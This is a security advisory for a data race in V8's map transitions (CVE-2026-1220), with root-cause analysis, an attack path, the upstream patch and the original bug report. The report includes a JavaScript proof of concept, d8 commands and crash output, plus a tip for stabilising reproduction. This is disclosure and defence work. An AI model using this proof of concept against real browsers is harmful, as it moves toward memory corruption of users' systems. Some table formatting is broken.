CVE-2026-1220
Overview
Background
- Map
- V8’s hidden-class object describing an object’s shape (
elements_kind,is_extensible, descriptors, and back/forward transition links). - Transition tree
- the shared graph of
Maps linked by named transitions;ConnectTransitionpublishes a targetMapinto this tree so other lookups (including concurrent ones) can find and reuse it. - Integrity-level transition
- a
SPECIAL_TRANSITIONcreated forObject.preventExtensions/seal/freeze, whose target map must haveis_extensiblecleared and itselements_kindswitched to a sealed/frozen/nonextensible variant. - Concurrent map access
- background threads (e.g. the concurrent optimizing compiler) read maps and walk the transition tree without holding the main-thread mutation lock, so any published map must already be fully initialized.
Root Cause Analysis
In Map::CopyReplaceDescriptors, the INSERT_TRANSITION path called ConnectTransition to publish the freshly created result map into the shared transition tree immediately after InitializeDescriptors, and then returned to the caller. For an integrity-level (SPECIAL_TRANSITION) transition, the caller (the prevent-extensions helper, Map::CopyForPreventExtensions (inferred — the enclosing function name is not shown in the hunk)) only afterward performed the security-relevant initialization: set_is_extensible(false) and set_elements_kind to the sealed/frozen/nonextensible kind. This left a window in which the target map was reachable through the transition tree while still carrying the pre-transition is_extensible/elements_kind values, so a concurrent thread could pick up a map that claims to be, e.g., frozen while still reporting an extensible/packed elements kind.
The fix threads an InitMap callback through CopyReplaceDescriptors and reorders emission so that InitMap(result) runs first and ConnectTransition is called only afterward, guaranteeing the map is fully initialized before it becomes publicly reachable. A CHECK_IMPLIES now forces every INSERT_TRANSITION through the plain overload to be a plain PROPERTY_TRANSITION/SIMPLE_PROPERTY_TRANSITION, so special transitions must supply a real InitMap.
is_extensible, elements_kind) were written, so concurrent readers could observe a half-initialized map; the fix moves ConnectTransition to run after the InitMap initialization callback.Attack Path
- Trigger a special transition
Script applies
Object.preventExtensions/seal/freezeto an object, driving V8 into the integrity-level transition helper that callsMap::CopyReplaceDescriptorswithSPECIAL_TRANSITION. - Publish-before-init window opens
CopyReplaceDescriptorscallsConnectTransition, inserting the new target map into the transition tree beforeset_is_extensible(false)andset_elements_kindhave run on it. - Concurrent reader races the tree
A background thread (e.g. concurrent compilation) walks the transition tree and reads the target map during this window, observing inconsistent
is_extensible/elements_kindstate. - Invariant violation consumed downstream Code that relies on the frozen/sealed elements-kind invariant (element access / bounds reasoning) operates on the mismatched map, leading to memory-safety corruption (inferred — the patch shows the publish/init reordering but not the specific sink).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/objects/map.cc |
modified |
Files Changed
src/objects/map.cc
Audit Directions
- Publish-before-initializeAudit every site that inserts an object into a shared/concurrently-read structure (transition trees, caches, feedback vectors) and completes initialization afterward; the write of all invariants must precede the publishing store.
- Post-`CopyReplaceDescriptors` mutationSearch for callers that mutate a map returned from a map-copy/transition helper; such fields must instead be set inside the copy before the transition is connected.
- Concurrent-read invariants on mapsReview fields read off maps by background threads (
elements_kind,is_extensible, bit fields) for whether they can be observed in a transient inconsistent state during main-thread transition creation.
Patch
From e7f117bdb2fb4acbe619cf26aae2e011bf7f0e25 Mon Sep 17 00:00:00 2001
From: Olivier Flückiger <olivf@chromium.org>
Date: Mon, 12 Jan 2026 15:41:30 +0100
Subject: [PATCH] [map] Fix publishing of integrity-level transitions
Integrity level transition target maps should not be published to the
map tree before they are fully initialized. Otherwise concurrent access
might pick up not fully updated target maps.
Drive-By: Fix a dcheck in the map-updater to not fire when an indirectly
reachable non-deprecatable map is deprecated due to the whole subtree
being deprecated.
Fixed: 473851441
Change-Id: Ibfe62aa63e63873554420774a0b269e7f2cd594f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7450862
Auto-Submit: Olivier Flückiger <olivf@chromium.org>
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104646}
---
diff --git a/src/objects/map.cc b/src/objects/map.cc
index 8b16172..da68bbb 100644
--- a/src/objects/map.cc
+++ b/src/objects/map.cc
@@ -652,20 +652,25 @@
}
void Map::DeprecateTransitionTree(Isolate* isolate) {
+ DCHECK(CanBeDeprecated());
+ return DeprecateTransitionTreeImpl(isolate);
+}
+
+void Map::DeprecateTransitionTreeImpl(Isolate* isolate) {
if (is_deprecated()) return;
DisallowGarbageCollection no_gc;
ReadOnlyRoots roots(isolate);
TransitionsAccessor transitions(isolate, *this);
transitions.ForEachTransition(
- &no_gc, [&](Tagged<Map> map) { map->DeprecateTransitionTree(isolate); },
+ &no_gc,
+ [&](Tagged<Map> map) { map->DeprecateTransitionTreeImpl(isolate); },
[&](Tagged<Map> map) {
if (v8_flags.move_prototype_transitions_first) {
- map->DeprecateTransitionTree(isolate);
+ map->DeprecateTransitionTreeImpl(isolate);
}
},
nullptr);
DCHECK(!IsFunctionTemplateInfo(constructor_or_back_pointer()));
- DCHECK(CanBeDeprecated());
set_is_deprecated(true);
if (v8_flags.log_maps) {
LOG(isolate, MapEvent("Deprecate", direct_handle(*this, isolate), {}));
@@ -1587,6 +1592,22 @@
DirectHandle<DescriptorArray> descriptors, TransitionFlag flag,
MaybeDirectHandle<Name> maybe_name, const char* reason,
TransitionKindFlag transition_kind) {
+ // Special transitions need to pass an InitMap function to initialize the map
+ // before inserting it into the transition tree.
+ CHECK_IMPLIES(flag == INSERT_TRANSITION,
+ transition_kind == PROPERTY_TRANSITION ||
+ transition_kind == SIMPLE_PROPERTY_TRANSITION);
+ return CopyReplaceDescriptors(
+ isolate, map, descriptors, flag, [&](Handle<Map>) {}, maybe_name, reason,
+ transition_kind);
+}
+
+template <typename InitMapCb>
+Handle<Map> Map::CopyReplaceDescriptors(
+ Isolate* isolate, DirectHandle<Map> map,
+ DirectHandle<DescriptorArray> descriptors, TransitionFlag flag,
+ const InitMapCb& InitMap, MaybeDirectHandle<Name> maybe_name,
+ const char* reason, TransitionKindFlag transition_kind) {
DCHECK(descriptors->IsSortedNoDuplicates());
Handle<Map> result = CopyDropDescriptors(isolate, map);
@@ -1598,15 +1619,16 @@
result->set_may_have_interesting_properties(true);
}
+ bool insert_transition = false;
if (map->is_prototype_map()) {
result->InitializeDescriptors(isolate, *descriptors);
} else {
if (flag == INSERT_TRANSITION &&
TransitionsAccessor::CanHaveMoreTransitions(isolate, map)) {
+ insert_transition = true;
result->InitializeDescriptors(isolate, *descriptors);
DCHECK(!maybe_name.is_null());
- ConnectTransition(isolate, map, result, name, transition_kind);
is_connected = true;
} else if ((transition_kind == PROTOTYPE_TRANSITION &&
v8_flags.move_prototype_transitions_first) ||
@@ -1624,6 +1646,10 @@
result->InitializeDescriptors(isolate, *descriptors);
}
}
+ InitMap(result);
+ if (insert_transition) {
+ ConnectTransition(isolate, map, result, name, transition_kind);
+ }
if (v8_flags.log_maps && !is_connected) {
LOG(isolate,
MapEvent("ReplaceDescriptors", map, result, reason,
@@ -1879,68 +1905,70 @@
DescriptorArray::CopyUpToAddAttributes(
isolate, direct_handle(map->instance_descriptors(isolate), isolate),
num_descriptors, attrs_to_add);
+
+ auto InitMap = [&](Handle<Map> new_map) {
+ new_map->set_is_extensible(false);
+ if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) {
+ ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind())
+ ? SLOW_STRING_WRAPPER_ELEMENTS
+ : DICTIONARY_ELEMENTS;
+ if (!old_map_is_dictionary_elements_kind) {
+ switch (map->elements_kind()) {
+ case PACKED_ELEMENTS:
+ if (attrs_to_add == SEALED) {
+ new_kind = PACKED_SEALED_ELEMENTS;
+ } else if (attrs_to_add == FROZEN) {
+ new_kind = PACKED_FROZEN_ELEMENTS;
+ } else {
+ new_kind = PACKED_NONEXTENSIBLE_ELEMENTS;
+ }
+ break;
+ case PACKED_NONEXTENSIBLE_ELEMENTS:
+ if (attrs_to_add == SEALED) {
+ new_kind = PACKED_SEALED_ELEMENTS;
+ } else if (attrs_to_add == FROZEN) {
+ new_kind = PACKED_FROZEN_ELEMENTS;
+ }
+ break;
+ case PACKED_SEALED_ELEMENTS:
+ if (attrs_to_add == FROZEN) {
+ new_kind = PACKED_FROZEN_ELEMENTS;
+ }
+ break;
+ case HOLEY_ELEMENTS:
+ if (attrs_to_add == SEALED) {
+ new_kind = HOLEY_SEALED_ELEMENTS;
+ } else if (attrs_to_add == FROZEN) {
+ new_kind = HOLEY_FROZEN_ELEMENTS;
+ } else {
+ new_kind = HOLEY_NONEXTENSIBLE_ELEMENTS;
+ }
+ break;
+ case HOLEY_NONEXTENSIBLE_ELEMENTS:
+ if (attrs_to_add == SEALED) {
+ new_kind = HOLEY_SEALED_ELEMENTS;
+ } else if (attrs_to_add == FROZEN) {
+ new_kind = HOLEY_FROZEN_ELEMENTS;
+ }
+ break;
+ case HOLEY_SEALED_ELEMENTS:
+ if (attrs_to_add == FROZEN) {
+ new_kind = HOLEY_FROZEN_ELEMENTS;
+ }
+ break;
+ default:
+ break;
+ }
+ }
+ new_map->set_elements_kind(new_kind);
+ }
+ };
+
// Do not track transitions during bootstrapping.
TransitionFlag flag =
isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
- Handle<Map> new_map =
- CopyReplaceDescriptors(isolate, map, new_desc, flag, transition_marker,
- reason, SPECIAL_TRANSITION);
- new_map->set_is_extensible(false);
- if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) {
- ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind())
- ? SLOW_STRING_WRAPPER_ELEMENTS
- : DICTIONARY_ELEMENTS;
- if (!old_map_is_dictionary_elements_kind) {
- switch (map->elements_kind()) {
- case PACKED_ELEMENTS:
- if (attrs_to_add == SEALED) {
- new_kind = PACKED_SEALED_ELEMENTS;
- } else if (attrs_to_add == FROZEN) {
- new_kind = PACKED_FROZEN_ELEMENTS;
- } else {
- new_kind = PACKED_NONEXTENSIBLE_ELEMENTS;
- }
- break;
- case PACKED_NONEXTENSIBLE_ELEMENTS:
- if (attrs_to_add == SEALED) {
- new_kind = PACKED_SEALED_ELEMENTS;
- } else if (attrs_to_add == FROZEN) {
- new_kind = PACKED_FROZEN_ELEMENTS;
- }
- break;
- case PACKED_SEALED_ELEMENTS:
Original Bug Report
Data race in Map::bit_field2 access
Summary
A data race vulnerability exists in V8’s Map object where concurrent access to bit_field2 (which contains elements_kind) between the main thread and Maglev/TurboFan background compilation threads can lead to memory corruption. The race occurs because bit_field2 is accessed with non-atomic operations while being modified by Object.freeze(), Object.seal(), or Object.preventExtensions() on the main thread.
Vulnerability Details
Root Cause
The bit_field2 field in Map objects is accessed using non-atomic read/write operations:
// src/objects/map-inl.h
uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
void Map::set_bit_field2(uint8_t value) {
WriteField<uint8_t>(kBitField2Offset, value);
}
When Object.freeze() executes on the main thread, it modifies bit_field2 via set_elements_kind(). Concurrently, the Maglev background compilation thread reads bit_field2 via elements_kind() in MapUpdater::TryUpdateNoLock(), creating a data race.
Bisect
The issue was introduced in: https://issues.chromium.org/issues/42210079. Affected versions: M78 and later
The vulnerability affects Object.freeze(), Object.seal(), and Object.preventExtensions().
Proof of Concept
function f24() {
function f23() {
function F40(a42) {
let v44 = a42.constructor;
new v44(1.1);
this.g = a42;
Object.freeze(this);
}
let v50 = new F40(0);
new F40(v50);
}
for (let i = 0; i < 5000000; i++) {
f23();
}
}
// Workers run in parallel and increase the chance of hitting the race between the
// main thread and background compiler threads.
const workers = [];
for (let i = 0; i < 30; i++) {
workers.push(new Worker(f24, { type: "function" }));
}
for (const w of workers) {
try {
w.getMessage();
} catch(e) {}
}
Reproduction Steps
- Build V8/d8 with the following configurations:
Release build (args.gn):
is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true
TSAN build (args.gn):
dcheck_always_on = true
is_component_build = false
is_debug = false
is_tsan = true
target_cpu = "x64"
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true
- Run the PoC:
# Release build - crashes with SEGV
./out/release/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js
# TSAN build - detects data race
TSAN_OPTIONS=halt_on_error=1:abort_on_error=1 ./out/is_tsan/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js
Crash Analysis
Release Build Crash
Received signal 11 SEGV_ACCERR 03c78b482673
...
v8::internal::MapUpdater::TryUpdateNoLock
v8::internal::compiler::JSHeapBroker::ReadFeedbackForPropertyAccess
...
v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run
Note: Due to the inherent instability of race conditions, crashes may occur at different locations. Adding garbage collection before the racing call (new F40(v50);) can help stabilize reproduction during exploitation.
TSAN Report
WARNING: ThreadSanitizer: data race (pid=2363887)
Read of size 1 at 0x7eac01034737 by thread T32:
#0 ReadMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:215:12
#1 ReadField<unsigned char> src/objects/heap-object.h:262:12
#2 bit_field2 src/objects/map-inl.h:561:42
#3 elements_kind src/objects/map-inl.h:673:47
#4 MapUpdater::TryUpdateNoLock src/objects/map-updater.cc:428:46
...
Previous write of size 1 at 0x7eac01034737 by main thread:
#0 WriteMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:233:24
#1 WriteField<unsigned char> src/objects/heap-object.h:270:12
#2 set_bit_field2 src/objects/map-inl.h:564:3
#3 set_elements_kind src/objects/map-inl.h:668:3
#4 Map::CopyForPreventExtensions src/objects/map.cc:1941:14
#5 JSObject::PreventExtensionsWithTransition src/objects/js-objects.cc:4581:33
#6 JSReceiver::SetIntegrityLevel src/objects/js-objects.cc:2030:16
#7 Builtin_Impl_ObjectFreeze src/builtins/builtins-object.cc:223:18
Suggested Patch
The fix requires using relaxed atomic operations for bit_field2 access, similar to how bit_field is already handled:
diff --git a/src/objects/map-inl.h b/src/objects/map-inl.h
index 3fc90007a82..d6d8c68337a 100644
--- a/src/objects/map-inl.h
+++ b/src/objects/map-inl.h
@@ -133,9 +133,9 @@ BIT_FIELD_ACCESSORS2(Map, relaxed_bit_field, bit_field, is_constructor,
Map::Bits1::IsConstructorBit)
// |bit_field2| fields.
-BIT_FIELD_ACCESSORS(Map, bit_field2, new_target_is_base,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, new_target_is_base,
Map::Bits2::NewTargetIsBaseBit)
-BIT_FIELD_ACCESSORS(Map, bit_field2, is_immutable_proto,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, is_immutable_proto,
Map::Bits2::IsImmutablePrototypeBit)
// |bit_field3| fields.
@@ -558,10 +558,20 @@ void Map::set_relaxed_bit_field(uint8_t value) {
RELAXED_WRITE_BYTE_FIELD(*this, kBitFieldOffset, value);
}
-uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
+uint8_t Map::relaxed_bit_field2() const {
+ return RELAXED_READ_BYTE_FIELD(*this, kBitField2Offset);
+}
+
+void Map::set_relaxed_bit_field2(uint8_t value) {
+ RELAXED_WRITE_BYTE_FIELD(*this, kBitField2Offset, value);
+}
+
+uint8_t Map::bit_field2() const {
+ return relaxed_bit_field2();
+}
void Map::set_bit_field2(uint8_t value) {
- WriteField<uint8_t>(kBitField2Offset, value);
+ set_relaxed_bit_field2(value);
}
uint32_t Map::bit_field3() const {
@@ -665,8 +675,8 @@ bool Map::TryGetValidityCellHolderMap(
void Map::set_elements_kind(ElementsKind elements_kind) {
CHECK_LT(static_cast<int>(elements_kind), kElementsKindCount);
- set_bit_field2(
- Map::Bits2::ElementsKindBits::update(bit_field2(), elements_kind));
+ set_relaxed_bit_field2(
+ Map::Bits2::ElementsKindBits::update(relaxed_bit_field2(), elements_kind));
}
ElementsKind Map::elements_kind() const {
diff --git a/src/objects/map.h b/src/objects/map.h
index 9c25eee64d2..baa34ec4fb0 100644
--- a/src/objects/map.h
+++ b/src/objects/map.h
@@ -325,6 +325,8 @@ class Map : public TorqueGeneratedMap<Map, HeapObject> {
//
DECL_PRIMITIVE_ACCESSORS(bit_field2, uint8_t)
+ DECL_PRIMITIVE_ACCESSORS(relaxed_bit_field2, uint8_t)
+
// Bit positions for |bit_field2|.
struct Bits2 {
DEFINE_TORQUE_GENERATED_MAP_BIT_FIELDS2()
Security Impact
This vulnerability allows:
- Memory corruption through data race of
elements_kind - Type confusion if inconsistent
elements_kindvalues are observed
Version Information
- V8 Version: latest at time of testing - 14.5.170
- Operating System: Linux x64 (Ubuntu)
- Architecture: x86_64
Credit Information
Reporter credit: @p1nky4745